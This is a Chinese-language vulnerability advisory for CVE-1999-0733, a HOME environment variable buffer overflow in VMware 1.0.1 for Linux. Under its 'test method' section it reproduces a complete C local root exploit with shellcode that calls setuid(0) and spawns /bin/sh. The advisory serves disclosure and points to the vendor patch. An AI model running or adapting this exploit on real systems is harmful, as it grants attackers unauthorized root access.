Linux VMWare HOME环境变量缓冲区溢出漏洞
发布日期:1999-06-25
更新日期:1999-06-25
受影响系统:VMWare VMWare 1.0.1
不受影响系统:VMWare VMWare 1.0.2
描述:
BUGTRAQ ID:
490
CVE(CAN) ID:
CVE-1999-0733
VMWare 是一个“虚拟PC”软件。它使你可以在一台机器上同时运行二个或更多Windows、DOS、LINUX 系统。
VMWare 1.0.1 for Linux在实现上存在安全漏洞,攻击者通过超长的HOME环境变量造成缓冲区溢出。
<*来源:Jason R. Rhoads (
jason.rhoads@sabernet.net)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Jason R. Rhoads (
jason.rhoads@sabernet.net)提供了如下测试方法:
/*
* VMware v1.0.1 root sploit
* funkySh 02/07/99
*
* 1. Redhat 5.2 2.2.9 offset 800-1100
* 2. offset 1600-2200
* 1. Slackware 3.6 2.2.9 offset 0
* 2. offset ?
*
* [ 1 - started from xterm on localhost ]
* [ 2 - started from telnet, with valid display ]
*/
#include <stdio.h>
char code[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define BUFFER 1032
#define NOP 0x90
#define RET_ADDR 0xbfffdf50
#define PATH "/usr/local/bin/vmware"
char buf[BUFFER];
void main(int argc, char * argv[])
{
int i, offset = 0;
if(argc > 1) offset = atoi(argv[1]);
memset(buf,NOP,BUFFER);
memcpy(buf+800,code,strlen(code));
for(i=854+2;i<BUFFER-2;i+=4)
*(int *)&buf[i]=RET_ADDR+offset;
setenv("HOME", buf, 1);
execl(PATH,"vmware","-display","127.0.0.1:0",0);
/* change IP if required */
}
建议:
厂商补丁:
VMWare
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.vmware.com/security/浏览次数:9702
严重程度:0(网友投票)